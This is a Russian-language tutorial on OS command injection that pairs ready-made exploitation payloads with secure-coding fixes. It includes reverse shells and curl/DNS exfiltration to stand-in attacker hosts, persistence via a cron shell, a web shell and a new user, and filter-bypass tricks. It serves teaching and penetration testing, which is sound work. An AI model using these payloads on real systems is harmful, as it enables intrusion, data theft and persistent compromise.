Command Injection (OS Command Injection) - это уязвимость, которая позволяет злоумышленнику выполнять произвольные команды операционной системы на сервере, где запущено уязвимое приложение.
Почему это опасно?
- Полный контроль над сервером
- Чтение/изменение/удаление файлов
- Кража данных
- Установка backdoor
- Lateral movement в сети
- DoS атаки
Типы Command Injection
1. Прямая (Direct) Command Injection
Результат выполнения команды возвращается пользователю.
# Уязвимый код
import os
user_input = request.GET['filename']
os.system(f"cat {user_input}") # УЯЗВИМО!
2. Слепая (Blind) Command Injection
Команда выполняется, но результат не возвращается напрямую.
# Уязвимый код
import subprocess
user_input = request.GET['email']
subprocess.call(f"echo {user_input} >> /var/log/emails.txt", shell=True) # УЯЗВИМО!
Как это работает
Принцип работы
Когда приложение передаёт пользовательский ввод в системную команду без должной проверки:
# Намерение разработчика: ping 8.8.8.8
ip = request.GET['ip'] # Пользователь вводит: 8.8.8.8
os.system(f"ping -c 4 {ip}")
# Что может ввести злоумышленник: 8.8.8.8; cat /etc/passwd
# Результат: ping -c 4 8.8.8.8; cat /etc/passwd
# Выполнится ДВЕ команды!
Разделители команд в Unix/Linux
; # Выполнить команды последовательно
& # Выполнить в фоне
&& # Выполнить если предыдущая успешна
|| # Выполнить если предыдущая провалилась
| # Pipe - передать вывод в следующую команду
` # Command substitution (обратные кавычки)
$() # Command substitution (современный способ)
\n # Новая строка (в некоторых контекстах)
Разделители команд в Windows
& # Выполнить обе команды
&& # Выполнить если первая успешна
|| # Выполнить если первая провалилась
| # Pipe
; # В некоторых контекстах
%0A # Новая строка (URL encoded)
Как находить уязвимости
1. Определение потенциальных точек входа
Ищите функционал, который:
- Взаимодействует с файловой системой
- Выполняет системные утилиты
- Обрабатывает файлы (ping, nslookup, whois, traceroute)
- Работает с архивами (zip, tar, unzip)
- Выполняет конвертацию (imagemagick, ffmpeg)
- Делает резервное копирование
2. Типичные уязвимые параметры
Примеры параметров, которые стоит проверить:
- ip, host, domain, url
- filename, file, path, dir, folder
- cmd, command, exec, execute
- email, username
- backup, restore
- convert, resize, compress
3. Методика тестирования
Шаг 1: Определите контекст
# Простой ввод
test
# Time-based detection (задержка)
; sleep 10
& ping -c 10 127.0.0.1
| sleep 10
# DNS-based detection (out-of-band)
; nslookup $(whoami).attacker.com
Шаг 2: Базовые payload'ы
# Unix/Linux
; ls
& ls
&& ls
| ls
|| ls
`ls`
$(ls)
; id
; whoami
; pwd
# Windows
& dir
&& dir
| dir
|| dir
; dir
& whoami
Шаг 3: Time-based тестирование
Если вывод не возвращается, используйте задержки:
# Unix/Linux
; sleep 5
& sleep 5 &
| sleep 5
; ping -c 5 127.0.0.1
# Windows
& timeout 5
| ping -n 5 127.0.0.1
Если страница загружается дольше на 5 секунд - уязвимость есть!
Шаг 4: Out-of-band тестирование
# DNS запросы (требуется свой DNS сервер или Burp Collaborator)
; nslookup attacker.com
; dig attacker.com
; host attacker.com
# HTTP запросы
; curl http://attacker.com
; wget http://attacker.com
# Exfiltration данных
; curl http://attacker.com/$(whoami)
; nslookup $(whoami).attacker.com
Методы эксплуатации
1. Прямая эксплуатация
# Базовая разведка
; whoami
; id
; pwd
; uname -a
; cat /etc/passwd
# Чтение файлов
; cat /etc/shadow
; cat /var/www/html/config.php
; cat ~/.ssh/id_rsa
# Листинг директорий
; ls -la /
; find / -name "*.conf"
; locate password
2. Reverse Shell
Bash Reverse Shell
; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Netcat Reverse Shell
; nc ATTACKER_IP 4444 -e /bin/bash
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
Python Reverse Shell
; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP Reverse Shell
; php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
На машине атакующего:
nc -lvnp 4444
3. Data Exfiltration (извлечение данных)
Через HTTP
# Простой
; curl http://attacker.com/?data=$(cat /etc/passwd | base64)
# С кодированием
; curl http://attacker.com/?data=$(cat /etc/passwd | base64 -w 0)
# POST запрос
; curl -X POST -d "data=$(cat /etc/passwd)" http://attacker.com
Через DNS
# Отправка данных через DNS запросы
; cat /etc/passwd | while read line; do nslookup $line.attacker.com; done
# Более стелс вариант
; data=$(cat /flag.txt | base64); nslookup $data.attacker.com
В файл, доступный через веб
# Копирование в веб-директорию
; cp /etc/passwd /var/www/html/passwd.txt
; cat /etc/passwd > /var/www/html/data.txt
# Затем открыть: http://target.com/passwd.txt
4. Persistence (закрепление)
# Добавление SSH ключа
; echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
# Добавление пользователя
; useradd -m -s /bin/bash hacker
; echo "hacker:password" | chpasswd
# Cron job
; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" > /tmp/cron
; crontab /tmp/cron
# Backdoor в веб-директорию
; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
Обход фильтрации
1. Обход фильтрации разделителей
Если ; заблокирован, попробуйте:
# Альтернативные разделители
&
&&
||
|
%0a (новая строка, URL encoded)
%0d%0a (CRLF)
# Пример
target& whoami
target&& whoami
target|| whoami
target| whoami
2. Обход фильтрации команд
Метод 1: Wildcards (символы подстановки)
# Вместо: cat flag.txt
/bin/c?t fla?.txt
/bin/ca* fl*g.*
/???/c?t /???/flag.txt
# Вместо: ls
/bin/l?
/???/l*
Метод 2: Переменные окружения
# Вместо: cat
$PATH # содержит /bin:/usr/bin и т.д.
${PATH:0:1} # выведет /
${PATH:0:4} # выведет /bin
# Использование
${PATH:0:4}/cat flag.txt
Метод 3: Command substitution
# Вместо: cat
$(which cat) flag.txt
`which cat` flag.txt
Метод 4: Кавычки и экранирование
# Вместо: cat
c''at flag.txt
c""at flag.txt
c\at flag.txt
ca''t flag.txt
# Вместо: ls -la
l""s -l""a
l\s -l\a
Метод 5: Переменные
# Вместо: cat flag.txt
CMD=cat
$CMD flag.txt
FILE=flag
cat $FILE.txt
# Или
a=c;b=at;$a$b flag.txt
Метод 6: Base64 encoding
# Закодировать команду
echo "cat /etc/passwd" | base64
# Результат: Y2F0IC9ldGMvcGFzc3dk
# Выполнить
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)
Метод 7: Hex encoding
# Вместо: cat
echo -e "\x63\x61\x74" flag.txt
# Или
$(printf "\x63\x61\x74") flag.txt
Метод 8: Reverse
# Вместо: cat
echo 'tac' | rev # выведет cat
$(echo 'tac' | rev) flag.txt
3. Обход фильтрации пробелов
# Если пробелы заблокированы:
# Метод 1: Табуляция
cat%09flag.txt
cat${IFS}flag.txt
# Метод 2: $IFS (Internal Field Separator)
cat$IFS$9flag.txt
cat${IFS}flag.txt
# Метод 3: Фигурные скобки
{cat,flag.txt}
# Метод 4: Редирект
cat<flag.txt
cat<>flag.txt
4. Обход фильтрации специфичных слов
Если слово "flag" заблокировано:
# Метод 1: Wildcards
cat fla?.*
cat *lag*
cat fl[a]g.txt
# Метод 2: Переменные
F=flag
cat $F.txt
# Метод 3: Конкатенация
cat fla''g.txt
cat fl""ag.txt
cat f\lag.txt
# Метод 4: Command substitution
cat $(echo flag).txt
cat `printf flag`.txt
# Метод 5: Base64
cat $(echo ZmxhZw== | base64 -d).txt
# Метод 6: Character codes
cat $(printf "\x66\x6c\x61\x67").txt
5. Обход длины ввода
Если есть ограничение на длину:
# Создать короткий alias
alias c=cat
c flag.txt
# Использовать короткие команды
id
ls
pwd
# Записать команду в файл
echo "cat /etc/passwd" > /tmp/x
sh /tmp/x
6. Обход WAF/IDS
# Case variation
CaT flag.txt
cAt flag.txt
# Unicode/UTF-8 обход
catflag.txt # Невидимый символ
# Double encoding
%2561%2561 # Двойное кодирование 'a'
# Смешивание техник
c''at${IFS}fla?.*
7. Обход blacklist через PATH манипуляции
# Полный путь
/bin/cat flag.txt
/usr/bin/cat flag.txt
# Изменение PATH
PATH=/custom/path:$PATH
cat flag.txt
# Без PATH
./cat flag.txt # если cat скопирован локально
Инструменты
1. Ручное тестирование
Commix (Command Injection Exploiter)
# Установка
git clone https://github.com/commixproject/commix.git
cd commix
python commix.py
# Использование
python commix.py --url="http://target.com/page?param=test" --data="ip=127.0.0.1"
python commix.py --url="http://target.com/page" --data="ip=INJECT_HERE"
python commix.py -r request.txt # Из Burp
Burp Suite
1. Перехватить запрос
2. Отправить в Repeater/Intruder
3. Вставить payload'ы
4. Анализировать ответы
2. Payload списки
Популярные источники:
- PayloadsAllTheThings (GitHub)
- SecLists (GitHub)
- OWASP Testing Guide
3. Автоматизация
Python скрипт для тестирования
import requests
payloads = [
"; ls",
"& ls",
"| ls",
"&& ls",
"|| ls",
"`ls`",
"$(ls)",
]
url = "http://target.com/api"
for payload in payloads:
data = {"param": f"test{payload}"}
response = requests.post(url, data=data)
if "bin" in response.text or "root" in response.text:
print(f"[+] Vulnerability found with: {payload}")
print(f"Response: {response.text[:200]}")
Защита от Command Injection
1. Избегайте системных вызовов
❌ Плохо:
import os
os.system(f"ping -c 4 {user_input}")
✅ Хорошо:
import subprocess
# Используйте список аргументов вместо строки
subprocess.run(["ping", "-c", "4", user_input], shell=False)
2. Валидация и санитизация ввода
import re
def validate_ip(ip):
# Whitelist подход
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
if not re.match(pattern, ip):
return False
# Дополнительная проверка диапазона
octets = ip.split('.')
for octet in octets:
if int(octet) > 255:
return False
return True
user_ip = request.GET['ip']
if validate_ip(user_ip):
subprocess.run(["ping", "-c", "4", user_ip], shell=False)
else:
return "Invalid IP address"
3. Whitelist вместо blacklist
❌ Плохо (blacklist):
blacklist = [';', '&', '|', '`', '$', '(', ')']
for char in blacklist:
user_input = user_input.replace(char, '')
✅ Хорошо (whitelist):
import re
def is_valid_filename(filename):
# Разрешены только буквы, цифры, точка, дефис, подчёркивание
pattern = r'^[a-zA-Z0-9._-]+$'
return bool(re.match(pattern, filename))
if is_valid_filename(user_input):
# Безопасно использовать
process_file(user_input)
4. Использование безопасных API
# Вместо os.system() используйте специализированные библиотеки
# Для работы с сетью
import socket
socket.gethostbyname(domain) # Вместо nslookup
# Для работы с файлами
import shutil
shutil.copy(src, dst) # Вместо cp
# Для архивации
import zipfile
with zipfile.ZipFile('file.zip', 'r') as zip_ref:
zip_ref.extractall('dest') # Вместо unzip
5. Принцип наименьших привилегий
# Запуск приложения от непривилегированного пользователя
sudo -u www-data python app.py
# В Docker
USER nobody
6. Песочница (Sandboxing)
import subprocess
# Ограничение ресурсов
subprocess.run(
["ping", "-c", "4", user_input],
shell=False,
timeout=5, # Таймаут
user='nobody' # Непривилегированный пользователь (Linux)
)
7. WAF и мониторинг
- ModSecurity
- CloudFlare WAF
- AWS WAF
- Логирование всех системных вызовов
- Алерты на подозрительные паттерны
8. Code review checklist
✓ Избегаются ли вызовы shell=True?
✓ Используется ли валидация ввода?
✓ Применяется ли whitelist подход?
✓ Экранируются ли спецсимволы?
✓ Используются ли безопасные альтернативы?
✓ Ограничены ли права процесса?
✓ Логируются ли подозрительные действия?
Примеры из реальной жизни
Пример 1: Уязвимый ping функционал
Уязвимый код (PHP):
<?php
$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);
echo "<pre>$output</pre>";
?>
Эксплуатация:
http://target.com/ping.php?ip=8.8.8.8; cat /etc/passwd
Исправление:
<?php
$ip = $_GET['ip'];
// Валидация IP
if (filter_var($ip, FILTER_VALIDATE_IP)) {
// Безопасное выполнение
$output = shell_exec("ping -c 4 " . escapeshellarg($ip));
echo "<pre>" . htmlspecialchars($output) . "</pre>";
} else {
echo "Invalid IP address";
}
?>
Пример 2: ImageMagick конвертер
Уязвимый код (Python):
@app.route('/convert', methods=['POST'])
def convert():
filename = request.form['filename']
format = request.form['format']
os.system(f"convert {filename} output.{format}")
return "Converted"
Эксплуатация:
filename: image.jpg; cat /etc/passwd > /var/www/html/passwd.txt
format: png
Исправление:
import subprocess
import re
@app.route('/convert', methods=['POST'])
def convert():
filename = request.form['filename']
format = request.form['format']
# Валидация
allowed_formats = ['png', 'jpg', 'gif', 'bmp']
if format not in allowed_formats:
return "Invalid format", 400
if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
return "Invalid filename", 400
# Безопасное выполнение
try:
subprocess.run(
["convert", filename, f"output.{format}"],
shell=False,
timeout=30,
check=True
)
return "Converted successfully"
except Exception as e:
return "Conversion failed", 500
Пример 3: Backup функция
Уязвимый код (Node.js):
app.post('/backup', (req, res) => {
const path = req.body.path;
exec(`tar -czf backup.tar.gz ${path}`, (error, stdout, stderr) => {
if (error) {
return res.status(500).send('Backup failed');
}
res.send('Backup created');
});
});
Эксплуатация:
POST /backup
path: /var/www; curl http://attacker.com/shell.sh | bash
Исправление:
const { execFile } = require('child_process');
const path = require('path');
app.post('/backup', (req, res) => {
const dirPath = req.body.path;
// Валидация и нормализация пути
const normalizedPath = path.normalize(dirPath);
const allowedPaths = ['/var/www/uploads', '/var/backups'];
if (!allowedPaths.some(p => normalizedPath.startsWith(p))) {
return res.status(403).send('Path not allowed');
}
// Безопасное выполнение (без shell)
execFile('tar', ['-czf', 'backup.tar.gz', normalizedPath],
{ timeout: 60000 },
(error, stdout, stderr) => {
if (error) {
return res.status(500).send('Backup failed');
}
res.send('Backup created');
}
);
});
Практические сценарии эксплуатации
Сценарий 1: Слепая Command Injection
Когда результат не возвращается:
# 1. Time-based подтверждение
; sleep 10 # Если страница висит 10 секунд - уязвимость есть
# 2. Out-of-band exfiltration
; curl http://attacker.com/$(whoami)
; nslookup $(cat /etc/passwd | base64).attacker.com
# 3. Запись в веб-директорию
; ls -la > /var/www/html/output.txt
# Затем открыть: http://target.com/output.txt
Сценарий 2: Ограниченный вывод
Если вывод обрезается:
# Построчное чтение
; head -n 1 /etc/passwd
; head -n 2 /etc/passwd | tail -n 1
; sed -n '3p' /etc/passwd # 3-я строка
# Разбиение на части
; cut -c1-50 /etc/passwd
; cut -c51-100 /etc/passwd
# Кодирование для обхода фильтров
; cat /etc/passwd | base64
; cat /etc/passwd | xxd
Сценарий 3: Эксплуатация с ограничениями
# Ограничение по длине команды
; >x ls # Создать файл 'x' с содержимым вывода ls
# Ограничение символов
; w>x # Использовать короткие команды
# Создание сложной команды по частям
; echo "cat /etc/passwd" > /tmp/c
; sh /tmp/c
Чек-лист для пентестера
Начальная разведка
- Найдены ли точки входа с пользовательским вводом?
- Проверены ли все параметры (GET, POST, Headers, Cookies)?
- Определён ли тип ОС (Linux/Windows)?
- Есть ли вывод команды или слепая инъекция?
Подтверждение уязвимости
- Протестированы базовые разделители (;, &, |, &&, ||)?
- Выполнены простые команды (whoami, id, pwd)?
- Проверена time-based техника (sleep, ping)?
- Попытка out-of-band подтверждения?
Эксплуатация
- Получена информация о системе (uname, hostname)?
- Прочитаны критичные файлы (/etc/passwd, config файлы)?
- Найдены флаги/чувствительные данные?
- Получен reverse shell?
- Установлен persistence механизм?
Обход защиты
- Определены заблокированные символы/команды?
- Протестированы техники обхода (wildcards, encoding)?
- Использованы альтернативные команды?
- Применено кодирование (base64, hex)?
Пост-эксплуатация
- Повышение привилегий?
- Lateral movement?
- Data exfiltration?
- Cleanup следов?
Полезные ресурсы
Документация и гайды
- OWASP Command Injection Guide
- HackerOne Reports (публичные отчёты)
- PayloadsAllTheThings (GitHub)
- SANS Penetration Testing
Практика
- HackTheBox
- TryHackMe
- PentesterLab
- PortSwigger Web Security Academy
- picoCTF
Инструменты
- Burp Suite
- Commix
- OWASP ZAP
- SQLMap (для SQL injection, но принципы похожи)
Cheat Sheets
Заключение
Command Injection - это критическая уязвимость, которая может привести к полной компрометации сервера.
Для разработчиков:
- Никогда не доверяйте пользовательскому вводу
- Используйте безопасные API вместо системных вызовов
- Применяйте whitelist валидацию
- Избегайте shell=True
Для пентестеров:
- Тщательно тестируйте все точки входа
- Используйте разные техники обхода
- Документируйте находки
- Всегда получайте разрешение перед тестированием
Помните: Эти знания должны использоваться только для легальных целей - пентестинга с разрешением, участия в bug bounty программах или образовательных CTF.